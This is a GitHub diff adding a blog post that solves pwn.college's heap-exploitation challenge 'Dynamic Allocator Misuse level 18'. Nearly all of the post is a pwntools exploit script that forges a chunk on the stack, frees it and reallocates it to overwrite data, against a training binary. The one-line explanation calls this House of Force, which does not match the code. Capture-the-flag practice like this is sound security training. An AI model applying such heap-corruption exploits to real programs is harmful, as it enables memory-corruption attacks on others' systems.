File tree Expand file tree Collapse file tree 1 file changed +80
-0
lines changed
Expand file tree Collapse file tree 1 file changed +80
-0
lines changed Original file line number Diff line number Diff line change 1+ ---
2+ layout : post
3+ title : (Dynamic Allocator Misuse) level 18
4+ categories : pwn.college Dynamic-Allocator-Misuse
5+ date : 2025-10-14 08:10:27 +0300
6+ tags : pwn.college PIE ASLR heap house-of-force tecache metadata house-of-spirit safe-linking
7+ ---
8+ ## Information
9+ - category: pwn
10+
11+
12+ ## Description
13+ > Revisit a prior challenge, now with TCACHE safe-linking.
14+
15+ ## Write-up
16+ House of Force to pivot ` malloc ` into the stack.
17+
18+
19+ ## Exploit
20+ ``` python
21+ from pwn import *
22+
23+ elf = context.binary = ELF(" /challenge/babyheap_level18.1" )
24+ global p
25+ p = elf.process()
26+
27+ def malloc (idx ,size ):
28+ p.sendline(b " malloc" )
29+ p.sendline(idx)
30+ p.sendline(size)
31+
32+ def free (idx ):
33+ p.sendline(b " free" )
34+ p.sendline(idx)
35+
36+ def scanf (idx ,data ):
37+ p.sendline(b " scanf" )
38+ p.sendline(idx)
39+ p.sendline(data)
40+
41+ def stack_scanf (data ):
42+ p.sendline(b " stack_scanf" )
43+ p.sendline(data)
44+
45+ def stack_free ():
46+ p.sendline(b " stack_free" )
47+
48+ def puts (idx ):
49+ p.sendline(b " puts" )
50+ p.sendline(idx)
51+
52+ def send_flag (secret ):
53+ p.sendline(b " send_flag" )
54+ p.sendline(secret)
55+
56+ def quit ():
57+ p.sendline(b " quit" )
58+
59+ def exploit ():
60+ data = b " A" * 0x 30 + p64(0 ) + p64(817 )
61+ stack_scanf(data)
62+
63+ stack_free()
64+
65+ malloc(b " 0" ,b " 804" )
66+
67+ scanf(b " 0" ,b " A" * 160 )
68+
69+ send_flag(b " A" * 16 )
70+
71+ quit ()
72+
73+ p.interactive()
74+
75+ def main ():
76+ exploit()
77+
78+ if __name__ == " __main__" :
79+ main()
80+ ```
You can’t perform that action at this time.
0 commit comments